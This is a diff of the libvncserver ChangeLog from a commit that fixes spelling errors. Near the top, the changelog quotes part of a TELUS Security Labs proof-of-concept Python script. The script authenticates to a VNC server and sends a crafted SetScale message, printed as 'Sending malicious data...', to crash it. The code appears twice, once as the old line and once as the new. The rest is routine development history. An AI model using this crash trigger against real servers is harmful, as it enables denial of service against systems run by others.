|
37 | 37 |
|
38 | 38 |
|
39 | 39 | (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = DES.new(PASSWORD) return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python setscale_segv_poc.py <host> <port> |
40 | | - [password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occured.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap--- |
| 40 | + [password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occurred.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap--- |
41 | 41 |
|
42 | 42 | 2014-10-14 dscho <johannes.schindelin@gmx.de> |
43 | 43 |
|
|
1361 | 1361 |
|
1362 | 1362 | * libvncserver/Makefile.am: Fix build error when libpng is |
1363 | 1363 | available, but libjpeg is not. The png stuff in tight.c depends on code in tight.c that uses |
1364 | | - libjpeg features. We could probably seperate that, but for now the |
| 1364 | + libjpeg features. We could probably separate that, but for now the |
1365 | 1365 | dependency for 'tight' goes: PNG depends on JPEG depends on ZLIB. This is reflected in Makefile.am now. NB: Building tight.c with JPEG but without PNG is still possible, but nor the other way around. |
1366 | 1366 |
|
1367 | 1367 | 2011-12-01 Christian Beier <dontmind@freeshell.org> |
|
1527 | 1527 | 2011-10-16 George Fleury <gfleury@gmail.com> |
1528 | 1528 |
|
1529 | 1529 | * libvncserver/rfbserver.c: Fix memory leak I was debbuging some code tonight and i found a pointer that is not |
1530 | | - been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didnt look the whole libvncserver api, but i am using |
| 1530 | + been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didn't look the whole libvncserver api, but i am using |
1531 | 1531 | rfbReverseConnection with rfbProcessEvents, and then when the client |
1532 | 1532 | connection dies, i am calling a rfbShutdownServer and |
1533 | | - rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isnt been |
| 1533 | + rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isn't been |
1534 | 1534 | freed. So to free the stats i added a rfbResetStats(cl) after |
1535 | 1535 | rfbPrintStats(cl) at rfbClientConnectionGone in rfbserver.c before |
1536 | 1536 | free the cl pointer. (at rfbserver.c line 555). And this, obviously, |
|
1685 | 1685 | 2011-08-25 Gernot Tenchio <gernot@tenchio.de> |
1686 | 1686 |
|
1687 | 1687 | * libvncserver/websockets.c: websockets: added gcrypt based sha1 |
1688 | | - digest funtion |
| 1688 | + digest function |
1689 | 1689 |
|
1690 | 1690 | 2011-08-25 Joel Martin <jmartin@sentryds.com> |
1691 | 1691 |
|
|
1901 | 1901 |
|
1902 | 1902 | 2010-11-10 George Kiagiadakis <kiagiadakis.george@gmail.com> |
1903 | 1903 |
|
1904 | | - * libvncserver/tight.c: Fix memory corruption bug. This bug occured when a second telepathy tubes client was connected |
| 1904 | + * libvncserver/tight.c: Fix memory corruption bug. This bug occurred when a second telepathy tubes client was connected |
1905 | 1905 | after the first one had disconnected and the channel (thus, the |
1906 | 1906 | screen too) had been destroyed. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> |
1907 | 1907 |
|
|
2070 | 2070 | common/minilzo.h, libvncclient/Makefile.am, |
2071 | 2071 | libvncserver/Makefile.am: Update minilzo library used for Ultra |
2072 | 2072 | encoding to ver 2.04. According to the minilzo README, this brings a significant speedup |
2073 | | - on 64-bit architechtures. Changes compared to old version 1.08 can be found here: |
| 2073 | + on 64-bit architectures. Changes compared to old version 1.08 can be found here: |
2074 | 2074 | http://www.oberhumer.com/opensource/lzo/lzonews.php Signed-off-by: Christian Beier <dontmind@freeshell.org> |
2075 | 2075 |
|
2076 | 2076 | 2011-01-24 Christian Beier <dontmind@freeshell.org> |
|
3209 | 3209 | x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, |
3210 | 3210 | x11vnc/user.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Allow range |
3211 | 3211 | for X11VNC_SKIP_DISPLAY, document grab Xserver issue. Add |
3212 | | - progress_client() to proceed more quickly thru handshake. |
| 3212 | + progress_client() to proceed more quickly through handshake. |
3213 | 3213 | Improvements to turbovnc hack. |
3214 | 3214 |
|
3215 | 3215 | 2009-03-07 dscho <dscho> |
|
5601 | 5601 | x11vnc/sslcmds.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h, |
5602 | 5602 | x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, |
5603 | 5603 | x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, |
5604 | | - x11vnc/x11vnc_defs.c: SSL Java viewer work thru proxy. -sslGenCA, etc key/cert |
| 5604 | + x11vnc/x11vnc_defs.c: SSL Java viewer work through proxy. -sslGenCA, etc key/cert |
5605 | 5605 | management utils for x11vnc. FBPM "support". |
5606 | 5606 |
|
5607 | 5607 | 2006-03-28 dscho <dscho> |
|
6760 | 6760 |
|
6761 | 6761 | * AUTHORS, libvncclient/listen.c, libvncclient/sockets.c, |
6762 | 6762 | libvncclient/vncviewer.c: use rfbClientErr to log errors, check if |
6763 | | - calloc succeded (both hinted by Andre Leiradella) |
| 6763 | + calloc succeeded (both hinted by Andre Leiradella) |
6764 | 6764 |
|
6765 | 6765 | 2004-11-30 dscho <dscho> |
6766 | 6766 |
|
|
7442 | 7442 | 2003-08-03 dscho <dscho> |
7443 | 7443 |
|
7444 | 7444 | * rfb/rfbproto.h: forgot to change WORDS_BIGENDIAN to |
7445 | | - LIBVNCSERVER_BIGENDIAN; #undef VERSION unneccessary... |
| 7445 | + LIBVNCSERVER_BIGENDIAN; #undef VERSION unnecessary... |
7446 | 7446 |
|
7447 | 7447 | 2003-08-02 dscho <dscho> |
7448 | 7448 |
|
|
8285 | 8285 |
|
8286 | 8286 | 2001-10-15 dscho <dscho> |
8287 | 8287 |
|
8288 | | - * .gdb_history: unneccessary file |
| 8288 | + * .gdb_history: unnecessary file |
8289 | 8289 |
|
8290 | 8290 | 2001-10-13 dscho <dscho> |
8291 | 8291 |
|
|
8536 | 8536 |
|
8537 | 8537 | 2001-09-25 dscho <dscho> |
8538 | 8538 |
|
8539 | | - * .depend: rmoved unneccessary files |
| 8539 | + * .depend: rmoved unnecessary files |
8540 | 8540 |
|
8541 | 8541 | 2001-09-25 dscho <dscho> |
8542 | 8542 |
|
|
0 commit comments